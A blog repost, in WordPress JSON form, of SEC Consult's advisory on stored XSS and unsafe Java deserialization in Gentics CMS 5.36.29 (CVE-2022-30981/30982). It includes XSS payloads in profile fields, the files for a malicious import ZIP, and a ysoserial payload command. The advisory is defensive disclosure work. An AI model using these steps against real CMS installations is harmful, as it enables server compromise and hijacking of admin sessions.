{"id":25961,"date":"2022-06-20T20:19:42","date_gmt":"2022-06-20T16:19:42","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167537\/SA-20220608-0.txt"},"modified":"2022-06-26T08:46:37","modified_gmt":"2022-06-26T04:16:37","slug":"gentics-cms-5-36-29-cross-site-scripting-deserialization","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/gentics-cms-5-36-29-cross-site-scripting-deserialization\/","title":{"rendered":"Gentics CMS 5.36.29 Cross Site Scripting \/ Deserialization"},"content":{"rendered":"<p dir=\"ltr\">SEC Consult Vulnerability Lab Security Advisory &lt; 20220608-0 &gt;<br \/>\n=======================================================================<br \/>\ntitle: Stored Cross-Site Scripting &amp; Unsafe Java Deserializiation<br \/>\nproduct: Gentics CMS<br \/>\nvulnerable version: 5.36.29, see section below<br \/>\nfixed version: 5.40.27, 5.41.15, 5.42.7, 5.43.1 or higher<br \/>\nCVE number: CVE-2022-30981, CVE-2022-30982<br \/>\nimpact: high<br \/>\nhomepage: https:\/\/www.gentics.com\/<br \/>\nfound: 2021-04-02<br \/>\nby: Gerhard Hechenberger (Office Vienna)<br \/>\nSteffen Robertz (Office Vienna)<br \/>\nSEC Consult Vulnerability Lab<\/p>\n<p dir=\"ltr\">An integrated part of SEC Consult, an Atos company<br \/>\nEurope | Asia | North America<\/p>\n<p dir=\"ltr\">https:\/\/www.sec-consult.com<\/p>\n<p dir=\"ltr\">=======================================================================<\/p>\n<p dir=\"ltr\">Vendor description:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>\n&#8220;APA-IT Informations Technologie GmbH offers offers support with a focus on<br \/>\nmedia solutions and IT-outsourcing. As a subsidiary of APA \u2013 Austria Press<br \/>\nAgency, we are responsible for the IT of the Austrian news agency as well<br \/>\nas numerous other media enterprises.<br \/>\nThis expertise and insight into the industry make APA-IT an expert for IT<br \/>\nsolutions for publishers and media-related companies. Existing systems and<br \/>\ntools are constantly developed and tailored to individual customer needs.<br \/>\nAs such, APA-IT is always available \u2013 from conception to operation.&#8221;<\/p>\n<p dir=\"ltr\">Source: https:\/\/www.gentics.com\/genticscms\/company_gentics.en.html<\/p>\n<p dir=\"ltr\">Business recommendation:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\nThe vendor provides a patch which should be installed immediately.<\/p>\n<p dir=\"ltr\">SEC Consult recommends to perform a thorough security review of these products<br \/>\nconducted by security professionals to identify and resolve all security<br \/>\nissues.<\/p>\n<p dir=\"ltr\">Vulnerability overview\/description:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n1) Multiple Stored Cross-Site Scripting Vulnerabilities (CVE-2022-30982)<br \/>\nMultiple cross-site scripting vulnerabilities are present in the application.<br \/>\nAn attacker can store malicious JavaScript code in the username and profile<br \/>\ndescription. The code will execute once an admin user hovers over the<br \/>\nattacker&#8217;s username. Thus, the attacker can execute code in the context of an<br \/>\nadmin.<\/p>\n<p dir=\"ltr\">2) Unsafe Java Deserialization (CVE-2022-30981)<br \/>\nThe Gentics CMS has an import option which will accept ZIP files. The archive<br \/>\nincludes a Java serialized object that gets deserialized on import. This can<br \/>\nlead to code execution on the server.<br \/>\nA low privileged user might be able to exploit this vulnerability by chaining<br \/>\nit together with vulnerability 1).<\/p>\n<p dir=\"ltr\">Proof of concept:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n1) Multiple Stored Cross-Site Scripting Vulnerabilities (CVE-2022-30982)<br \/>\nTo trigger the first XSS, an attacker has to change the profile description to<br \/>\ninclude a payload, e.g. &#8220;&lt;script&gt;alert(document.domain)&lt;\/script)&#8221;. The payload<br \/>\nwill execute once a user with access to the userlist hovers his mouse over the<br \/>\nprofile name. The event &#8220;onmouseover&#8221; will trigger following code:<\/p>\n<p dir=\"ltr\">JSI3_comp_list_401__ass( this, &#8216;Properties&#8217;, &#8216;&lt;b&gt;Malicious User Name&lt;\/b&gt;&lt;br&gt;<br \/>\n&lt;script&gt;alert(document.domain)&lt;\/script&gt;&lt;br&gt;&lt;br&gt;created:&lt;br&gt; 09\/20\/2002<br \/>\n( Gentics Support)&lt;br&gt;last edited:&lt;br&gt;15:56 (Malicious Username)&#8217;, &#8221; );<\/p>\n<p dir=\"ltr\">The execution of the code leads to following function:<\/p>\n<p dir=\"ltr\">function JSI3_comp_list_401__ass( obj, title, text, assTitle )<br \/>\n{<br \/>\nJSI3_comp_list_401__assReset();<br \/>\nclearTimeout( JSI3_comp_list_401___ass_timeout );<br \/>\nJSI3_comp_list_401__ass_show_row( obj, title, text, assTitle );<br \/>\n}<\/p>\n<p dir=\"ltr\">The malicious code, which is contained in the &#8220;text&#8221; parameter, gets passed<br \/>\nthrough to the next function. There it is added to an HTML element and thus<br \/>\nexecuted in the browser.<\/p>\n<p dir=\"ltr\">function JSI3_comp_list_401__ass_show_row( obj, title, text, assTitle ) {<br \/>\nif (!JSI3_comp_list_401__ass_show_row_tipsy[obj.id]) {<br \/>\nJSI3_comp_list_401__ass_show_row_tipsy[obj.id] = true;<br \/>\n$(obj).attr(&#8216;title&#8217;, &#8216;&lt;h6&gt;&#8217;+title+'&lt;\/h6&gt;&#8217;+text+((assTitle)?'&lt;br&gt;&#8217;+assTitle:&#8221;));<br \/>\n$(obj).tipsy({<br \/>\ntrigger: &#8216;manual&#8217;,<br \/>\nhtml: true,<br \/>\noffset: 3,<br \/>\ndelayIn: 900,<br \/>\ndelayOut: 0,<br \/>\nopacity: 0.85,<br \/>\ngravity: &#8216;nww&#8217;<br \/>\n});<br \/>\n}<br \/>\n$(obj).tipsy(&#8220;show&#8221;);<br \/>\ngcn_active_tipsy = obj;<br \/>\n}<\/p>\n<p dir=\"ltr\">Another XSS vector can be found in the parameters &#8220;First Name&#8221; and &#8220;Last Name&#8221;.<br \/>\nBy e.g. changing the last name to &#8216;Node&#8221; onload=&#8221;alert(document.domain)&#8217;,<br \/>\nJavaScript code is added to the profile picture that is loaded in the upper<br \/>\nright corner on every page. The following snippet shows the vulnerable line of<br \/>\ncode:<\/p>\n<p dir=\"ltr\">&lt;div id=&#8221;profil&#8221;&gt;<br \/>\n&lt;div&gt;&lt;img src=&#8221;?do=11&amp;module=system&amp;img=profile_man.png&#8221; title=&#8221;Admin Node&#8221; onload=&#8221;alert(document.domain)&#8221; class=&#8221;profile_avatar&#8221;&gt;&lt;\/div&gt;<\/p>\n<p dir=\"ltr\">The third XSS is caused by changing the first and last name into JavaScript<br \/>\ncode without prior encoding. Changing the last name to<br \/>\n&#8220;Last Name&#8217;+eval(alert(document.domain))+'&#8221; will cause the following code to be<br \/>\nincluded in the server&#8217;s response:<\/p>\n<p dir=\"ltr\">&lt;script language=&#8221;JavaScript&#8221; type=&#8221;text\/javascript&#8221;&gt;<br \/>\nvar menus = new Array();<br \/>\nvar imgs = new Array();<br \/>\nmenus[&#8216;Admin Last Name&#8217;+eval(alert(document.domain))+&#8221;] = new Array();<br \/>\nmenus[&#8216;Admin Last Name&#8217;+eval(alert(document.domain))+&#8221;][&#8216;layer_pos&#8217;] = 1;<br \/>\nmenus[&#8216;Admin Last Name&#8217;+eval(alert(document.domain))+&#8221;][&#8216;align&#8217;] = &#8216;r&#8217;;<\/p>\n<p dir=\"ltr\">2) Unsafe Java Deserialization (CVE-2022-30981)<br \/>\nFirst, a malicious ZIP archive needs to be created. The following files will need to<br \/>\nbe included within this archive:<\/p>\n<p dir=\"ltr\">bundlebuild.xml:<\/p>\n<p dir=\"ltr\">&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;UTF-8&#8243;?&gt;<br \/>\n&lt;bundlebuild&gt;<br \/>\n&lt;bundleinfo&gt;<br \/>\n&lt;name&gt;&lt;![CDATA[test4]]&gt;&lt;\/name&gt;<br \/>\n&lt;sourcehost&gt;&lt;![CDATA[b1d80757b76c]]&gt;&lt;\/sourcehost&gt;<br \/>\n&lt;description&gt;&lt;![CDATA[]]&gt;&lt;\/description&gt;<br \/>\n&lt;globalid&gt;9d6243ab-a281-11eb-9ae3-0242ac130004&lt;\/globalid&gt;<br \/>\n&lt;globalprefix&gt;D77D&lt;\/globalprefix&gt;<br \/>\n&lt;\/bundleinfo&gt;<br \/>\n&lt;builds&gt;<br \/>\n&lt;build&gt;<br \/>\n&lt;builddate&gt;1618996405&lt;\/builddate&gt;<br \/>\n&lt;changelog&gt;&lt;![CDATA[test4]]&gt;&lt;\/changelog&gt;<br \/>\n&lt;count&gt;0&lt;\/count&gt;<br \/>\n&lt;\/build&gt;<br \/>\n&lt;\/builds&gt;<br \/>\n&lt;tables&gt;<br \/>\n&lt;\/tables&gt;<br \/>\n&lt;\/bundlebuild&gt;<\/p>\n<p dir=\"ltr\">containedobjects.xml:<\/p>\n<p dir=\"ltr\">&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;UTF-8&#8243;?&gt;<br \/>\n&lt;objects&gt;<br \/>\n&lt;\/objects&gt;<\/p>\n<p dir=\"ltr\">The third file has to be named &#8220;serializedjava.bin&#8221; and contains the actual<br \/>\npayload. A demo payload can be generated with following command:<br \/>\n$ ysoserial FileUpload1 &#8216;write;\/tmp;SECTEST&#8217; &gt; serializedjava.bin<\/p>\n<p dir=\"ltr\">Those three files have to be zipped together into an archive, which can be<br \/>\nuploaded.<\/p>\n<p dir=\"ltr\">The import feature is available under Enterprise CMS -&gt; Administration -&gt;<br \/>\nImport and Export. Now select New-&gt;Import and upload the malicious ZIP archive.<br \/>\nWait until the import completed. Now click on &#8220;Test succeeded&#8221; in the file<br \/>\nlist. On the new screen select &#8220;Start import in background&#8221;. The payload should<br \/>\ncreate a file called &#8220;upload_&lt;random_uuid&gt;.tmp&#8221; in the folder \/tmp. It will<br \/>\ncontain the string &#8220;SECTEST&#8221;.<br \/>\nBetter deserialization chains could be built to reach more interesting targets.<br \/>\nIt is very likely, that RCE could be obtained by writing an own deserialization<br \/>\nchain.<\/p>\n<p dir=\"ltr\">Vulnerable \/ tested versions:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\nThe following product version has been tested and found to be vulnerable. Other versions<br \/>\nare vulnerable as well, please see the vendor&#8217;s changelog in the solution section.<\/p>\n<p dir=\"ltr\">* Gentics CMS 5.36.29<\/p>\n<p dir=\"ltr\">Vendor contact timeline:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\n2022-04-04: Contacting vendor through support@gentics.com<br \/>\n2022-04-04: Ticket SUP-13323 created.<br \/>\n2022-04-05: Sent advisory via unencrypted email to provided vendor email address.<br \/>\n2022-05-04: Updates for Gentics CMS were released on 14th April.<br \/>\n2022-05-05: Gentics provides us with the fixed version numbers.<br \/>\n2022-06-08: Release of security advisory.<\/p>\n<p dir=\"ltr\">Solution:<br \/>\n&#8212;&#8212;&#8212;<br \/>\nUpdate to versions greater or equal to:<br \/>\n* 5.40.27 (see https:\/\/gentics.com\/Content.Node\/changelog\/5.40.0\/5.40.27.html)<br \/>\n* 5.41.15 (see https:\/\/gentics.com\/Content.Node\/changelog\/5.41.0\/5.41.15.html)<br \/>\n* 5.42.7 (see https:\/\/gentics.com\/Content.Node\/changelog\/5.42.0\/5.42.7.html)<br \/>\n* 5.43.1 (see https:\/\/gentics.com\/Content.Node\/changelog\/5.43.0\/5.43.1.html)<\/p>\n<p dir=\"ltr\">Workaround:<br \/>\n&#8212;&#8212;&#8212;&#8211;<br \/>\nNone<\/p>\n<p dir=\"ltr\">Advisory URL:<br \/>\n&#8212;&#8212;&#8212;&#8212;-<br \/>\nhttps:\/\/sec-consult.com\/vulnerability-lab\/<\/p>\n<p dir=\"ltr\">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p dir=\"ltr\">SEC Consult Vulnerability Lab<\/p>\n<p dir=\"ltr\">SEC Consult, an Atos company<br \/>\nEurope | Asia | North America<\/p>\n<p dir=\"ltr\">About SEC Consult Vulnerability Lab<br \/>\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br \/>\nAtos company. It ensures the continued knowledge gain of SEC Consult in the<br \/>\nfield of network and application security to stay ahead of the attacker. The<br \/>\nSEC Consult Vulnerability Lab supports high-quality penetration testing and<br \/>\nthe evaluation of new offensive and defensive technologies for our customers.<br \/>\nHence our customers obtain the most current information about vulnerabilities<br \/>\nand valid recommendation about the risk profile of new technologies.<\/p>\n<p dir=\"ltr\">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br \/>\nInterested to work with the experts of SEC Consult?<br \/>\nSend us your application https:\/\/sec-consult.com\/career\/<\/p>\n<p dir=\"ltr\">Interested in improving your cyber security with the experts of SEC Consult?<br \/>\nContact our local offices https:\/\/sec-consult.com\/contact\/<br \/>\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p dir=\"ltr\">Mail: security-research at sec-consult dot com<br \/>\nWeb: https:\/\/www.sec-consult.com<br \/>\nBlog: http:\/\/blog.sec-consult.com<br \/>\nTwitter: https:\/\/twitter.com\/sec_consult<\/p>\n<p dir=\"ltr\">EOF Gerhard Hechenberger, Steffen Robertz \/ @2022<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SEC Consult Vulnerability Lab Security Advisory &lt; 20220608-0 &gt; ======================================================================= title: Stored Cross-Site Scripting &amp; Unsafe Java Deserializiation product: Gentics CMS vulnerable version: 5.36.29, see section below fixed version: 5.40.27, 5.41.15, 5.42.7, 5.43.1 or higher CVE number: CVE-2022-30981, CVE-2022-30982 impact: high homepage: https:\/\/www.gentics.com\/ found: 2021-04-02 by: Gerhard Hechenberger (Office Vienna) Steffen Robertz (Office Vienna) SEC &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-25961","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/25961","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=25961"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/25961\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=25961"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=25961"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=25961"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}